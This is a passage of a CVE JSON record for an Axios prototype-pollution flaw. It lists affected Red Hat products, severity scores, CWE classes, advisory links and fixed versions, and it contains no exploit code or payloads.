"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"packageName": "cryostat-openshift-console-plugin-npm",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"packageName": "gatekeeper/gatekeeper-rhel9",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "unaffected",
"packageName": "mta/mta-ui-rhel8",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"packageName": "mta/mta-ui-rhel9",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"packageName": "network-observability/network-observability-console-plugin-pf4-rhel9",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"packageName": "network-observability/network-observability-console-plugin-pf5-rhel9",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"packageName": "network-observability/network-observability-console-plugin-rhel9",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"packageName": "openshift-pipelines/pipelines-hub-ui-rhel8",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"packageName": "openshift-pipelines/pipelines-hub-ui-rhel9",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"packageName": "openshift-service-mesh/kiali-operator-bundle",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"packageName": "openshift-service-mesh/kiali-rhel9-operator",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp21/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp22/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp2/system-rhel7",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel8",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel9",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "axios",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform/automation-dashboard-rhel9",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"packageName": "automation-controller",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "automation-hub",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python3.11-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python3.12-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python3x-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_spring_boot:4"
],
"defaultStatus": "unaffected",
"packageName": "axios",
"product": "Red Hat build of Apache Camel for Spring Boot 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"packageName": "axios",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "apicurio/apicurio-registry-ui-rhel8",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "apicurio/apicurio-registry-ui-rhel9",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"packageName": "rhdesktop/rh-podman-desktop-ext-openshift-local-rhel10",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "grafana-pcp",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/bootc-cuda-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/bootc-gaudi-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/bootc-rocm-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/disk-image-cuda-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "axios",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-dashboard-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-dashboard-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-mlflow-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-automl-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-autorag-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-eval-hub-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-gen-ai-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-maas-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-mod-arch-mlflow-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-model-registry-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "unaffected",
"packageName": "devspaces/code-rhel9",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"packageName": "container-native-virtualization/kubevirt-console-plugin",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite/iop-advisor-frontend-rhel9",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite/iop-host-inventory-frontend-rhel9",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite/iop-vulnerability-frontend-rhel9",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "affected",
"packageName": "rhtas/rhtas-console-ui-rhel9",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"packageName": "rhtpa/rhtpa-trustification-service-rhel9",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform/automation-portal",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform/bootc-automation-portal-rhel9",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
}
],
"datePublic": "2026-06-11T15:33:12.433Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-30T12:05:02.835Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"name": "RHBZ#2487937",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44495.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42078"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34160"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41064"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:30651"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36882"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:46903"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34374"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42142"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36108"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:27944"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36754"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41928"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36611"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:28964"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29082"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:40795"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:40792"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:40768"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33155"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33160"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33163"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33183"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42146"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:43052"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42796"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41066"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41031"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:40262"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:46885"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41055"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:30650"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36883"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:42078: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:34160: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:41064: Red Hat Advanced Cluster Management for Kubernetes 2.11"
},
{
"lang": "en",
"value": "RHSA-2026:30651: Red Hat Advanced Cluster Management for Kubernetes 2.13"
},
{
"lang": "en",
"value": "RHSA-2026:36882: Red Hat Advanced Cluster Management for Kubernetes 2.14"
},
{
"lang": "en",
"value": "RHSA-2026:46903: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:34374: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:42142: Red Hat Ansible Automation Platform 2.7"
},
{
"lang": "en",
"value": "RHSA-2026:36108: Red Hat Container Native Virtualization 4.13"
},
{
"lang": "en",
"value": "RHSA-2026:27944: Red Hat Container Native Virtualization 4.14"
},
{
"lang": "en",
"value": "RHSA-2026:41951: Red Hat Data Grid 8.6.2"
},
{
"lang": "en",
"value": "RHSA-2026:36754: Red Hat Developer Hub 1.10"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:29197: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:41928: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:36611: Red Hat OpenShift Container Platform 4.14"
},
{
"lang": "en",
"value": "RHSA-2026:28964: Red Hat OpenShift Container Platform 4.15"
},
{
"lang": "en",
"value": "RHSA-2026:29082: Red Hat OpenShift Container Platform 4.16"
},
{
"lang": "en",
"value": "RHSA-2026:40795: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:27063: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:40792: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:27044: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:40768: Red Hat OpenShift Container Platform 4.22"
},
{
"lang": "en",
"value": "RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29"
},
{
"lang": "en",
"value": "RHSA-2026:33155: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:33160: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:33163: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:33173: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:33183: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:42146: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:43052: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:42796: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:41066: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:41031: Red Hat Quay 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:40262: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:46885: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:41055: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:30650: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:36883: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-06-11T17:00:53.999Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-06-11T15:33:12.433Z",
"value": "Made public."
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.2"
},
{
"status": "affected",
"version": "\u003e= 0.19.0, \u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-11T15:33:12.433Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"source": {
"advisory": "GHSA-3g43-6gmg-66jw",
"discovery": "UNKNOWN"
},
